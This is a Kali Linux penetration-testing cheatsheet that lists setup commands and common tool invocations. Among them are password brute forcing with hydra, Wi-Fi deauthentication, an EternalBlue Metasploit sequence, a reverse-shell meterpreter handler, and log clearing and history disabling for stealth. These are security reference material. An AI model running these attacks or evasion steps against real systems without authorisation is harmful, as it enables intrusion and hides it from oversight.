Kali Linux Cheatsheet

Offensive Security Toolkit – Penetration Testing & Ethical Hacking
Pre-installed tools, apt package manager. Never use on production systems!
All privileged commands require sudo or root shell.

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1. First Boot & Setup

Task	Command
Start as root (default)	Login: root / toor (change immediately!)
Change root password	passwd
Create normal user (recommended)	useradd -m -G sudo hacker && passwd hacker
Update & upgrade	sudo apt update && sudo apt full-upgrade -y
Install Kali metapackages	sudo apt install kali-linux-default (or kali-linux-everything)
Enable SSH (remote access)	sudo systemctl enable --now ssh
Fix locale warnings	export LC_ALL=C or sudo dpkg-reconfigure locales

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2. APT (Package Management)

Action	Command
Update repos	sudo apt update
Full upgrade	sudo apt full-upgrade -y
Install package	sudo apt install tool
Remove package	sudo apt remove tool
Purge (with config)	sudo apt purge tool
Clean unused	sudo apt autoremove
Search tool	apt search keyword
List installed	dpkg -l | grep ^ii
Show tool info	apt show tool
Fix broken deps	sudo apt install -f

Kali Repos (in /etc/apt/sources.list):

deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

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3. Essential Tools by Category

Information Gathering

nmap -sV -O target
dnsenum domain.com
theharvester -d domain.com -b all
amass enum -d domain.com

Web Vulnerability

nikto -h http://site.com
dirb http://site.com /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://site.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
sqlmap -u "http://site.com/page.php?id=1" --dbs

Password Attacks

hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://target
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

Wireless

airmon-ng start wlan0
airodump-ng wlan0mon
aireplay-ng --deauth 10 -a BSSID wlan0mon

Exploitation

msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS target
exploit

Post-Exploitation

meterpreter > shell
whoami && id
getuid
sysinfo

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4. System Administration

Task	Command
List services	systemctl list-units --type=service
Start PostgreSQL (Metasploit)	sudo systemctl start postgresql
Enable Metasploit DB	sudo msfdb init
View logs	journalctl -u service
Check IP	ip a
Reboot	reboot
Shutdown	poweroff
Disk usage	df -h
Memory	free -h
Processes	htop

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5. Networking

Task	Command
Scan network	nmap -sn 192.168.1.0/24
Spoof MAC	macchanger -r wlan0
Start monitor mode	airmon-ng start wlan0
Stop monitor	airmon-ng stop wlan0mon
Tunnel traffic	proxychains nmap -sT target
Sniff packets	tcpdump -i eth0 -w capture.pcap

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6. Metasploit Quick Start

msfdb init
msfconsole
db_status
workspace -a pentest1
search smb
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST your_ip
exploit -j

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7. Wordlists & Configs

Path	Purpose
/usr/share/wordlists/	RockYou, dirb, dirbuster
/etc/proxychains.conf	Edit for TOR/anonsurf
/usr/share/nmap/scripts/	Custom NSE scripts
~/.msf4/	Metasploit config & loot

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8. Stealth & Anonymity

Tool	Command
TOR routing	sudo anonsurf start
MAC spoof	sudo macchanger -r wlan0
Clean logs	sudo journalctl --vacuum-time=1d
Disable history	set +o history

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9. Troubleshooting

Issue	Command
Fix APT errors	sudo apt update --fix-missing
Reinstall Kali tools	sudo apt install --reinstall kali-linux-default
Reset Metasploit DB	msfdb reinit
Check boot issues	journalctl -b -p err
Regenerate initramfs	sudo update-initramfs -u
Update GRUB	sudo update-grub

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10. One-Liners

# Full update + clean
sudo apt update && sudo apt full-upgrade -y && sudo apt autoremove && sudo apt clean

# Quick Nmap scan
nmap -T4 -A -p- 192.168.1.100

# Start all Kali services
sudo systemctl start postgresql redis-server

# Clone common wordlists
git clone https://github.com/danielmiessler/SecLists.git /usr/share/wordlists/seclists

# Run Nikto + save output
nikto -h http://site.com -output nikto.txt

# Start anonymous mode
sudo anonsurf start && proxychains curl ifconfig.me

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11. Useful Tools to Install

sudo apt install \
    metasploit-framework \
    burpsuite \
    sqlmap \
    hydra \
    john \
    hashcat \
    aircrack-ng \
    wireshark \
    bloodhound \
    impacket \
    responder \
    evil-winrm

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12. Kali Resources

• Official Docs: https://www.kali.org/docs/
• Tool List: https://www.kali.org/tools/
• Training: https://www.offsec.com

# Search tools offline
kali-tweaks
apt search kali-

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13. Pro Tips

• Use Kali in VM or USB persistence – never bare metal
• Run kali-tweaks for GUI customization
• Use cherrytree or keepnote for engagement notes
• Enable undercover mode: kali-undercover

# Toggle Windows-like UI
kali-undercover

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